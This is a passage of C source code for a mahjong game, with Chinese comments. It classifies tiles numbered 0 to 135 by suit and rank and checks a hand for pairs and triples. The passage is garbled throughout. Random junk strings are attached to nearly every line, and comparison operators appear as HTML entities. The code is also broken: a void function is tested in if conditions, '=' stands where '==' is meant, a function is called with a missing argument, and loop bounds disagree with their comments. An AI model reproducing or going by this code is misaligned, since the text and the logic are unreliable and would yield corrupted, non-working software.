else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)8 R' t' P9 P1 ?9 s. k
logoo=2;9 C3 ]. S, N3 U" N+ J
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
# J% a$ ?/ c  U0 z1 Mlogoo=3;& N; G8 x5 \& s  Q) ^
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
6 v9 M# r9 f1 Blogoo=4;
% v. f6 F) U! g' ^' N" g5 a' Kelse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
8 y; A( b3 o6 g3 [6 d8 Blogoo=5;
8 ?' x+ s: U7 v4 G& \5 L, U5 z  o0 m6 {else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
4 s$ h( N, l# p0 m* plogoo=6;
- w  N$ m$ i+ A* Telse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
7 H" ~9 H  c  F7 S7 ulogoo=7;
, J3 Y% L9 c1 v( X3 belse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64); r! p- a9 c% z- P( P$ d
logoo=8;7 m$ e' l" I: m; r
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
! X9 N# J3 F3 l4 r  m: |logoo=9;
/ b) [+ O# ^% f0 H. L& @( r$ t) R}, O0 d" l: l4 S8 \& G
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)) W$ a. `1 f. f, r
{8 A) |9 [- Z1 t; }6 J7 ^
logo=3;0 F* ~6 Z4 J1 k; i  W0 c; I
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)& p5 X3 N# G* x# F1 K8 X
logoo=1;' P& R/ {8 {8 p+ P6 {9 n
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
9 v+ T. J/ }5 i, m' P' |logoo=2;
2 [, y& ~4 O. f1 h+ ]2 o# h( `else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)6 v* D3 U* Y/ N0 X+ P
logoo=3;
  ~$ E; Y( P' j6 N( a+ r; j  Kelse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
( E; H) ]) _1 o6 blogoo=4;
1 c( Q" j: N. [3 f& Zelse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)' ?3 Y+ j8 i$ `
logoo=5;
/ K9 F$ ]. m5 @: @5 delse if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)6 b7 {; S$ U2 z  Y$ B8 e  M
logoo=6;8 ~& m( [! ]! P
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)6 _4 L% U, m: R  @! v7 h1 d
logoo=7;
- \2 e7 n- g$ j% }) {) Y* Welse if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)3 z: ]- E/ u( ^: b* d0 Z4 `
logoo=8;. `4 w  e+ n5 U6 ]9 Q
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)- w, F# @# q! B* e% y9 d& _3 K2 O
logoo=9;' m: u$ Y6 D+ C( D' \) M
}- I) ?) U. _2 A
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)4 G7 T: }$ H; V1 N" t; ?
{2 W1 ?1 t  ^6 Y# _  a3 D
logo=4;. M! q: w# O8 M) h
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
1 @) c" I% X: G! |; h8 h& c" ylogoo=1;
1 C+ p- g# a. k  {else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
1 n8 C( W2 H0 t. |1 v* q+ slogoo=2;
( O& D0 Z) |: p6 Xelse if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
0 l5 D) {$ T# l  B& X; Dlogoo=3;: ~. ]5 ~: S( L  |; K, X& k
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
# ]: H' q! d( E1 k7 Vlogoo=4;
' C1 g  V# M; s" G! I$ }/ U+ v* Qelse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
/ W5 {; F! e3 j0 Klogoo=5;
  F7 g7 z" O+ ]# a4 v8 gelse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
8 k8 Y: I. k4 i; A6 Slogoo=6;
) d& n6 j9 R& {0 U! h3 V9 welse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)5 w7 L, `# x- h  v" Z, q
logoo=7;* X8 O% p# t/ O- N% ]; `
}* a! g1 N3 `# \
while(b&lt;=me.m)
/ n5 J8 `6 R, b9 Z3 q3 q8 I( v{9 W* l6 N1 [+ M: a4 i, N$ H# K
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/4 P* g2 b! X0 g& x
{/ ?! z( g4 Q) e  R; F; n/ r+ o. Z0 D1 `
lg=1;  y' }: D& D( f
me.pp.d[0]=1;9 Q% o1 x1 }. ]$ D* e
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)0 D: R! C4 w) I' n* i3 i
{
: ^6 M  c! F! c" s0 Q7 `lgg=1;
/ l- B( P; n' m. g+ U$ V+ _me.pp.d[1]=1;
& V* Z% w$ x/ K6 E1 X}% v) J' J) X) c. X
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
# h( p* K4 {% \5 @: m{
& I! V, U& Q& ~! f+ R' vlgg=2;
* q2 Y2 Z6 `6 }- a( _me.pp.d[1]=2;# p; E! C# \: N) t
}
1 I8 G0 L# w% S: N% V. Yelse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
6 s: n2 W+ `6 S: n{. @" r/ G8 K* ~/ X" v. [
lgg=3;  Q5 S" D4 G! V3 L$ \2 C3 U% S3 H( p
me.pp.d[1]=3;  L. e+ u4 A2 i/ E8 Y0 U3 _/ E7 ^
}
4 j% E+ c7 @' Q2 R' H9 T& s8 p# lelse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
* \% _# A0 F2 K7 a( \& o# X" W{8 }9 N6 |. i* O* x5 _: ?" g% i
lgg=4;1 }+ C( n  D6 g6 X
me.pp.d[1]=4;
0 i$ ?: _6 C7 I# N8 v6 y: {" I}
; `3 F5 n# u# z8 T* z" velse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
  h' V8 G$ F. V, o3 P{
9 T: ]- E4 A4 d& ]+ L2 i- Q" e3 `lgg=5;) h* X9 n+ H' ^; |" A3 |$ \
me.pp.d[1]=5;3 ^" s3 g( W8 l+ d9 j' H' L
}
7 ^4 D9 U5 r6 [7 D- \else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)3 u7 f# z4 ]/ ~/ H  l5 J3 B; h
{
# X) s! J) v7 F. M  _9 j& Ylgg=6;6 U+ K1 w6 ^6 U
me.pp.d[1]=6;! K' k# |4 U& f
}- S  E: f6 n' ~) v) v5 B5 K6 q5 N
else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)4 v& y; e: u$ w( P# r. P
{5 A5 t! [3 x6 H; M
lgg=7;% u% h0 _3 ^: |$ l
me.pp.d[1]=7;8 u  T4 R6 A( f/ {
}
1 _4 w( h9 E6 A- A: |0 melse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
# P8 c2 Z" y' H' T; `: j{
( i" Z8 U" e, w% |4 Glgg=8;! F; w  N3 F2 L; j' ?9 w
me.pp.d[1]=8;/ q7 K! `  |% B! Q
}0 S* T8 j' X9 ~3 x, \7 P% U
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
! }) p9 O+ z4 V5 K, u  n{
. ]9 t0 o0 ^( a! Ilgg=9;! S0 J* k4 U0 D/ c, E" @' u
me.pp.d[1]=9;0 G9 Y9 Y* u! O$ X4 `, ?5 \
}
0 ?2 N5 c' ]( {8 a# \}
& U' ?  P- x; uelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)& ]/ G4 S  `1 L) n$ T! b# E) F
{
/ P7 V/ x  X# v0 d$ H" Y' h9 glg=2;
7 _/ a( X+ z) q' a- K+ S4 O, B+ kme.pp.d[0]=2;) \) e* H; S; _9 m- W5 C: R
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)3 t9 N2 F9 B3 ^" f# F) U9 ~/ f
{
# ^0 a: `8 V* d5 Elgg=1;: ]; o& q& Q( H
me.pp.d[1]=1;
6 u0 _: Z. K) h, R7 v; f6 e}
5 q$ Y# a  ]- ?* @. Helse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)1 X" I8 I" e; k% e
{$ k$ n6 B, M0 _% |& D
lgg=2;7 z2 U7 Y7 ^! g, |2 y
me.pp.d[1]=2;
: I/ z  B# w) C$ f8 g}
+ u* [8 s, O/ I0 \+ K% lelse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
7 ~; p" |" T* K- s; }7 V# s{
9 o5 I1 Y: p! t% H# |lgg=3;" |. W8 V! d* a1 m" P; d; x9 {
me.pp.d[1]=3;2 e3 ~6 D  Q" i5 m8 {" z
}
! v& j2 o0 G* P& ]$ F8 Nelse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)1 t6 }& l5 Z+ h. x. G
{$ J  }% i$ N' X
lgg=4;; @, d  N- f- D/ e( t
me.pp.d[1]=4;
  z1 k4 v4 `- j- b0 U}
2 ]/ T' s9 l/ k$ x# {' M" z1 nelse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)5 \2 n" Z4 k( E$ o
{
. x5 g1 ]/ S3 R3 ilgg=5;3 j8 j- f: W4 m
me.pp.d[1]=5;
9 B9 X; ~7 |" L# Q}( v, k0 `9 X* V
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)8 S% [- M, u% Y1 N7 p, y$ h6 F
{/ j2 Y0 z( b3 r( P5 r7 s
lgg=6;" I5 J3 [4 C5 ?9 C' ?
me.pp.d[1]=6;
# f2 ^1 `, R0 E% L# Y9 w0 W}& |2 e0 V3 ^" N, N  P
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
; y! `; P, Y, y# Y8 Y5 i3 H# n0 r{
, S6 m9 w* b' ]: ?lgg=7;
$ e. {8 @, F: ]me.pp.d[1]=7;/ {, ~5 _# \6 \5 @# e
}
7 O3 }. w) ]) z: i; welse if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)" \: t& k' z; A: N" P* p' a) K
{
) }, K7 f$ t3 e  R% d+ F! i! qlgg=8;% [+ E6 H9 z' W$ S: a  N5 u- V
me.pp.d[1]=8;
% g) u- f2 @( k! o% y}# p' E8 H& v; ^, h, B+ b9 z
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
  W! a2 \, Q, g. U8 V  _0 F- V9 ?{9 B  [- J; ]# u
lgg=9;
  A! r) y6 V- H* b# Kme.pp.d[1]=9;" d& ]; _; Y4 ^. R
}
/ f; V( i+ t' Q- H) P% s$ n}
( @6 c/ A, l# \. n5 e! P4 Z; Oelse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)7 w8 p" G: S9 c/ @- ?# [1 T
{3 m! M$ N8 J' u9 C
lg=3;/ ]2 }8 J  Z) J7 L) `2 j: ?
me.pp.d[0]=3;: |: H& U) O' w1 Y& ?: D; g' r8 f
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
' K7 M% Y" N2 T; f3 Q+ o3 k{# E( m0 A6 H' w4 ^1 g( ?% s
lgg=1;
& a' h0 B* |8 Q1 Gme.pp.d[1]=1;
9 }8 _( G2 `0 X) r* @9 }}
% d& F' \" B: Eelse if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
' t$ F2 \4 u  P* p; r{6 e) \9 D$ K. r9 j( J
lgg=2;$ @3 V) D) A+ P7 @0 k- Q+ u  y& j
me.pp.d[1]=2;* Y4 Y# U" {- o  k3 Q1 X
}5 E4 n- L8 X# M5 U) ]  B
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)% |4 p( c+ y* p/ s  _& F9 V( K
{3 z$ @) J! K3 C/ T2 v9 O
lgg=3;
/ Z% M: v7 \. V7 a: b* H) ?me.pp.d[1]=3;
. ^0 m( h: y" z* V}
# w) C0 o" e* R$ aelse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)2 n* z$ e7 @: T5 G* g  j
{, ~2 ?& M6 ?/ w# @( B" _1 a
lgg=4;
6 f( e8 e) @8 B4 ], zme.pp.d[1]=4;
8 _+ ?( x) p8 U}* i2 S1 Q1 N! g& k# j, q' {* |* A
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)6 K- m; R. A# W2 \+ Q! w' U
{
7 ]4 \2 e/ g0 z4 Xlgg=5;1 e! W: `$ K/ r3 T
me.pp.d[1]=5;! R. ]% D7 b. {) M
}
- p8 F0 C: v# d& j' b" Velse if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
6 S9 Y: W# @& b) i" V{& x( m7 O3 Q) ^
lgg=6;
. B4 O  X4 Y- d* p. [1 B9 @me.pp.d[1]=6;
$ v: D! U- V" \( f. I}2 b9 F+ N; g  `0 X% w  E8 ]+ |; p
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)" A2 k4 p0 h& |3 I# [& n; z/ h7 o
{
: g1 B! a" S9 n, ^; l/ Mlgg=7;
1 i; \/ x- ?% ?! C- @3 P& x- O% Ome.pp.d[1]=7;) H! Q1 D* O/ Z1 T. y/ ]
}' r2 I- k( X4 |% N% `: {
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
9 T4 d: E* C3 `6 v{
8 W5 O* N, z4 b2 p1 r8 [7 [; S# ?lgg=8;+ t: @" q4 K" R
me.pp.d[1]=8;7 L) B& i6 r7 ?8 {! i8 \( {
}
* A8 e0 E' r* J- w* R" G; k3 ielse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
- p* I/ o6 [6 B  U0 `- A{8 N2 n) h  y2 b& ^) L
lgg=9;/ g$ w* s5 d8 n* E9 K
me.pp.d[1]=9;" D$ K6 D" X9 _- Y& W) N2 n5 N
}# ]3 B& A* N6 A! o
}/ D, v# k% B2 k' ?( I5 s
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
2 e+ C  V% E" M& ]" i9 u{
0 \8 B: A6 d! x- K* V8 @% R' Glg=4;
1 b% O9 E, q; d. @# ~. I8 d  Xme.pp.d[0]=4;
' R5 U- u0 _) }$ }0 ?if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
* Z, g( E) ?" `" _{. A8 ?; V( S/ L+ V0 p) f6 [3 t
lgg=1;5 Q% X2 ^. n" q7 Z' u
me.pp.d[1]=1;' A. _0 Y: X3 @
}& h) F- F& M, r) \, ~
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)/ i( Q# k; F4 _6 f
{
1 u2 j  d0 x# u6 T; Plgg=2;  k, c9 R( t: c; ~; r9 b
me.pp.d[1]=2;
) @" u. g! W$ W) }0 y}& ?1 c7 o1 j0 r2 w( u( h
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
2 s8 h$ r  [1 w4 F0 L{1 f4 H% }+ m9 T3 }, c5 @
lgg=3;
- K  {, a  ~; h# Y" Q9 G8 Tme.pp.d[1]=3;
; o0 T9 a8 o7 Q; y6 z}
& b  ~: F2 |. Welse if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120): x/ p* {6 b9 q& R
{
  p3 W+ V2 p. H( B. llgg=4;
. b/ V; S! @! Q% p+ x1 {me.pp.d[1]=4;
. ~+ X) u  R7 w) ]}
3 ^- ?) \1 N4 x/ N$ N* @0 @% zelse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
& c. F* `9 S+ I* d  T. J& V% k{* V2 {  q- _8 i! p9 x' O9 l
lgg=5;
5 q/ H7 J1 D0 U# f& Fme.pp.d[1]=5;- r6 b% R% n* \6 F( ~, U
}
$ U( [( \" \9 }3 m2 w' T. celse if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
6 ~6 w* a; x: i7 D{2 i: m2 N. Q6 a# ?0 x5 `/ n1 v
lgg=6;4 K# j: @) s- v9 {1 c/ [! W6 D
me.pp.d[1]=6;
) }* U0 x) o+ D7 T: a1 Y: I* H% X}
6 X* Z/ ~5 V2 ]) Q5 Z9 relse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
# m' A) y) G- |6 c{
* ^  j! s% U2 a4 a8 qlgg=7;; g: [! A# H: F) u& I% B
me.pp.d[1]=7;
. h8 B, u% O8 P7 C1 M) j/ ^}" S+ q) L+ z: @
}, ~; \  a# c7 e$ y4 D
}
2 K# C1 P- d( ~% S: Y2 K; [}
# S3 b0 d$ H. c2 }* Fvoid istwo(testt)! {. a+ m" g/ O8 Q
int testt[];
' w/ ~. s9 q- d5 P2 \{ if(testt[0]==testt[1]): p2 \; d% q, J* G" j- i
second++;
+ z3 S9 L. _7 G% b: T$ d4 Q% w' w% |}
5 j  E# ]8 m3 ^$ i, R+ L# P' R- I1 _void isthree(testt,n)# {, |1 \/ x/ g3 J( N
int testt[],n=0;5 `6 E  }2 ]8 w4 R8 [
{ int i,j,flage=0,lianx=0,same=0;
/ k& a  |! H3 Xn=n/3;
' r% n2 L9 h' G3 g3 _for(j=0;j&lt;n;j++)
) |' n0 Q- a+ S& O{
* `) U# @/ `- f1 f" }: {for(i=j*3;i&lt;2+j*3;i++)# q, L. @% o: D
{
# ]$ K7 ]! e# C8 T* Jif(testt==testt[i+1])& f- P- @) O( s) i9 P, d% v
same++;' Y  |% V/ S! [& h0 s9 \7 P0 E5 w  r
if(testt[i+1]-testt==1)6 r& _( p9 ]+ U: M
lianx++;; {4 l1 O4 E9 ]2 V
}
, V8 b; p) x0 p! n9 ]0 dif(same==2)5 v& o2 F7 r. X
threes++;( V1 j9 H6 ~& _/ l# o8 R
if(lianx==2)3 d; t3 ~9 T) z# W
threes++;6 X8 W$ w) R* @! J( S. J3 D8 {5 d
same=0;
4 m5 c% j( V( ~1 ~lianx=0;& J3 [. h( g4 r
}) N5 F' i4 ^' A) N8 h7 b  Z
}' R% m9 o% e9 K7 ?0 [7 |# I8 F; l
void panduan() /*本程序的精髓*/
* `' B4 C4 z' R9 t" B8 c7 x{int data[14];
7 Z. u) ?' J; iint pw[14];
) e- t$ X- C7 w7 C: f. Y5 H5 {' Jint pt[14];+ O& P* s% [8 K, L( I3 o5 {+ v
int pi[14];
) X2 [, p; B* s. m9 h5 iint pf[14];6 I; @/ s! G, t
int test[12];  e* N) @: r1 d( D# n- y: V" x* o
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
& i' i: b" z0 T0 C# Wfor(jj=0;jj&lt;=me.m;jj++)
* M8 M$ G$ k; p; J{
* G. E' ^5 a  [8 s# Uif(me.pp[jj].d[0]==1)
2 F7 r2 x6 e3 T3 vdata[jj]=me.pp[jj].d[1];: f1 ~' B' N1 n& ?8 ]$ O+ i
if(me.pp[jj].d[0]==2)
% u* O" d5 T! C. ]+ |8 i7 \8 Vdata[jj]=me.pp[jj].d[1]+10;
9 b4 n* e$ f* x5 I2 H! f+ F3 ]if(me.pp[jj].d[0]==3)
# `8 a( S5 l  ^) T  ~data[jj]=me.pp[jj].d[1]+20;
/ w* Q; {' \6 K* L- Oif(me.pp[jj].d[0]==4)6 w* m  b, B3 [
data[jj]=me.pp[jj].d[1]+30;- R; A' z, M3 W& r" o. ]
}; V7 l& A! F" y2 t4 h8 g  N6 w+ y
if(logo==2)
  F, B) N8 p, N/ q8 jw=logoo+10;8 t# P7 E) G8 A' t/ y6 B
if(logo==3)
1 c) x/ B  d: o: G* ]1 N3 u8 Zw=logoo+20;+ i8 H7 I, y4 o9 ^6 @
if(logo==4)
- \  Y( S5 g, M) `4 xw=logoo+30;
0 B! k1 H2 r  p3 W  X/ F- Ddata[computer.m+1]=w;
' L( m$ ]( q2 a2 i* V; E8 ^. Xfor(mm=0;mm&lt;=computer.m;mm++)
( m4 K% {9 ]; k, A8 [) `3 R1 @$ Ffor(nn=mm;nn&lt;=computer.m;nn++); \" H/ C: }: e& l' j7 R! K
if(data[mm]&gt;data[nn+1])
4 ~3 ~. m* y1 E{) G( P3 W3 Z& F" r1 N& B
tpp=data[mm];
1 \- o& n1 [! H) K) @1 M6 ndata[mm]=data[nn+1];
+ g0 I. [' P) N" `  q9 Edata[nn+1]=tpp;; ^' T' X  z: q' l5 H' `
}$ B! a! O) o- [! C
lp=0;; W" `. k& \6 ~' l6 L1 N4 X
while(lp&lt;=computer.m)/ z. `$ F6 I/ }3 P
{ if(data[lp]&lt;10), t0 R/ d& B" F* V* M' _
pw[ww++]=data[lp];
* ]$ {" H: `8 R7 I/ E4 b/ }if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
& w- z; C  s0 ~3 a# r8 @pt[tt++]=data[lp];
9 s# B+ ^7 L5 |+ @8 ]3 r/ h* L1 iif(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
5 t% M) B, E8 L& H8 w4 ?: zpi[ii++]=data[lp];8 x2 M: W( r" ?$ ^* v: O
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)2 e5 ^7 m  k) z/ O& m3 Z. P, k3 C" g
pf[ff++]=data[lp];8 T5 @" a+ |  Z
lp++;: \0 P& x, |/ L5 _
}
4 b% D3 N# J$ v4 v0 Aif(ww==2)
- Z6 G9 e" a5 {7 u+ p* sistwo(pw);7 X6 r8 j1 \# i# X5 w6 E
else if(ww==3)
. y- ?0 u+ C) E5 K& }) R# G. I9 fisthree(pw,ww);3 ]. a1 N! L3 B" S1 y+ u* J
else if(ww==5)5 J, j9 ^+ o' o, x
/*pw[5]原始牌数组,假设已经升序排列*/' b. {0 o6 ?4 i' A8 `1 G# q
/*test[3]用来放置测试牌的数组*/
0 P+ _# m# Z+ \! B! |9 y5 U. a5 xfor(i=0;i&lt;4;i++)
; x# d" ~6 n, w8 r* E{
" R# `8 |7 }: T5 y( G5 c* Q8 R2 Zfor(j=0;j&lt;2;j++)7 I$ e9 |) @& q& ~, e
{test[j]=pw[i+j];* o2 c8 x* [+ Z3 \% a' K* N' O0 `
}" S$ P: Y$ F! p3 l% _* j+ {6 a0 k
if(istwo(test))$ b. y3 y: p, l( x( a8 q2 U
{ ill=0;; O9 D- ]) O8 N0 S& b6 O' K" I6 W/ B
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/& ~4 l3 s- g6 m1 f1 |7 U- I# t
{if(kl==i)& N& ]) F6 n8 ?2 Z9 Y3 k/ l5 [
{% T+ a0 _. G* u" G9 l
kl=kl+2;
9 M& Y: t( Y5 I- A1 D; k8 _if(kl==5)
9 o$ G8 Z! x, `; @6 r7 pbreak;
' n: u, t- E. U, W! t+ B0 |* T}7 p: B4 E  F5 v$ j, q
test[ill++]=pw[kl];
0 M8 ~) l) K9 l' I}  Y. L# _3 ?2 c# x3 X' O( [
isthree(test);
/ g2 J! m, h1 O* G}
! B' g8 }( Y8 D9 D}
1 T) F% S- y' k) `+ A6 ^" L1 Uelse if(ww==6); H* W! p  A: Y. l
isthree(pw,ww);
/ V4 j* J! p, ~1 ]- z, Celse if(ww==8)
5 }! z/ Z5 g' Gfor(i=0;i&lt;7;i++)7 W! `. e, f8 s, M2 I1 u; m
{
4 v% T+ ]# O0 d' Y2 ffor(j=0;j&lt;2;j++)
2 p# G/ ~5 c6 U4 K0 E2 I# t% h% M# T{test[j]=pw[i+j];
5 E' t8 D- P" b4 d}
  K  L+ k; n6 M' A# S; l) i9 {; Zif(istwo(test))2 k; u* W9 ?4 ^  B; l
{ ill=0;& F/ I- n; _- b  {  n6 P/ T
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/$ T2 M/ W  o; Y" y% m7 e
{if(kl==i)
4 w6 Z0 \9 I. X7 J$ a; O: Y9 R{
+ I/ |* ^" ]2 _. o6 w% ]% Bkl=kl+2;" L0 e* p: H- O- O' I
if(kl==8)1 u9 @: i# \$ C" {
break;4 o3 x) i, i" R7 G$ R( W5 C
}
8 u; H  O' _/ N) @& gtest[ill++]=pw[kl];% j9 j& E$ S8 S4 f' }4 c" ?7 r
}
" o5 J# p" \; z+ ~. b  b/ ~2 F/ tisthree(test,ww-2);
1 E& |7 Y/ ]; r}5 _) R4 f. _+ E$ u
}
+ r0 D7 B# R' O% d: oelse if(ww==9)
( Z) w6 g% w$ c2 ~( Oisthree(pw,ww);; Y7 v% {* [% M0 k+ O3 M
else if(ww==11)0 ~. L/ G% a2 x1 {0 f1 g
for(i=0;i&lt;10;i++)5 i1 q5 T9 a4 ^( O
{
8 K) @- C. p. y; ^for(j=0;j&lt;2;j++)
  o* |4 y, V8 j+ K) H1 q( D6 Z{test[j]=pw[i+j]; 8 A% D4 m' Z& Q5 P# k7 \  l
}
- y, z( k6 J4 v$ o: W; M1 V; i  dif(istwo(test))
8 _/ h, C! u& ]/ E{ ill=0;7 h$ e- n7 e/ \4 O. F7 x" H# y
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
+ I. V/ p8 q1 [. I# U  |' N{if(kl==i)4 F0 W, W  K5 v; {( T8 U$ u
{- l3 g  a8 m3 J
kl=kl+2;
7 v! y& @# l  k4 ]2 L& rif(kl==11)4 c8 v4 R% g& V0 h) i& W: O& ]
break;; K* t4 p) W) q% z) t# K
}. D7 P1 @3 V9 d! ]7 v- D
test[ill++]=pw[kl];
$ M* @; A6 r1 ?1 H& _* `9 g}
; O3 r) l% E' E3 r/ Xisthree(test,ww-2);
  N& n& {# S8 g8 l' ?}  g" Q% [: ?. ?+ L' W
} ' {3 N( b# E* X# S# I
else if(ww=12)6 V9 t$ E% Z+ G, I! o, L
isthree(pw,ww);
& L+ {6 y9 u, t: _' ]6 l. z( Zelse if(ww=14)
' v% N) c6 E! k9 c8 B1 r* K3 Nfor(i=0;i&lt;13;i++)
! o0 l% o9 W/ i8 ~& N( [{
( M+ p1 E7 Z6 l5 @for(j=0;j&lt;2;j++)
* W! M" @+ C* Y& A{test[j]=pw[i+j];( p7 |8 T2 P5 c* E* H& p, j3 J
}: w0 i$ T9 f8 b/ x/ ~
if(istwo(test))8 `0 k; n( T" A7 I- o
{ ill=0;
  L9 S/ H& }* x) `for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/! H# O  f4 j& F% }
{if(kl==i)
- M& c1 q, x5 @1 V5 l* o{- r! j4 L! Z! A& H
kl=kl+2;6 _6 O% n3 b1 W. V7 W8 }& }
if(kl==14)
" U7 v" c3 X$ _# d) v1 q0 ~break;
: r% U" \1 c6 K}
' p0 W5 _8 ^0 j6 Utest[ill++]=pw[kl];$ H$ I. y' T" d) x8 `% p
}! S( Q" c& @: b& B$ d5 S+ ^
isthree(test,ww-2); 2 F# z! z" d( K8 S. A
}
- @$ {/ p2 e0 M2 E' B}
8 X3 ]- t1 e) @2 z4 {3 X. Sif(tt==2)
& ?4 O6 R$ y% d: s! Yistwo(pt);$ g% C% w; l2 A% I
else if(tt==3)
2 A0 e5 |/ g5 @: ~5 ?. n6 ^isthree(pt,tt);
: r0 ~2 ]: K+ F& C3 l) aelse if(tt==5)
- T* @+ R3 |& J9 ~/*pt[5]原始牌数组,假设已经升序排列*/
4 Y2 |' Z, Y+ X' q/*test[3]用来放置测试牌的数组*/
& u2 @. ~- d5 h. ~for(i=0;i&lt;4;i++)
) ~  m, K# d/ |9 `/ u$ Y# @/ E3 t{7 H0 I- u8 a# @: v
for(j=0;j&lt;2;j++)
1 F' _: j" D7 [1 W, k' e{test[j]=pt[i+j]; # h' p# F& U" d9 s  l* W7 p' O
}! Q  V- l3 a! }
if(istwo(test))
9 ~; w/ P7 `2 r& p: e{ ill=0;
5 H/ v" b& u6 [for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/" M6 y" [  `' Z" |7 O" |  u! _
{if(kl==i)5 p- a7 D! m, m. B1 p8 L
{* J2 R; q: {5 z! ?" ^1 P
kl=kl+2;1 ~3 Y0 M: j: E. W% M' }' {
if(kl==5)
8 r/ ?/ ]5 ]# @break;
- X' ~. X8 H# O}8 H. Y7 P4 C; a" J
test[ill++]=pt[kl];* H, r" s- z  Q
}
" v8 c6 E  Z- r9 P% p0 N. D3 b) Visthree(test);
& R* \0 r, l, k* Z( C. X}
% n9 R% m2 H- ?( g: n; P* S, ?}9 b* V: w+ v; \( I
else if(tt==6)
8 Y1 W9 V/ Y; p1 E+ gisthree(pt,tt); , y+ r1 z( d& D, q
else if(tt==8)
2 i' A) B* Q' {; @: ?7 j; ^6 {for(i=0;i&lt;7;i++)4 p4 @4 s0 @* v0 d) L. p! T
{, V5 k  q- V" `1 i$ ?
for(j=0;j&lt;2;j++)9 D( \1 ~- j( C8 m5 l8 z7 u
{test[j]=pt[i+j];
: d! C8 f. c+ P/ E5 S}
3 b  ^' Y3 N, ^1 R! {if(istwo(test))
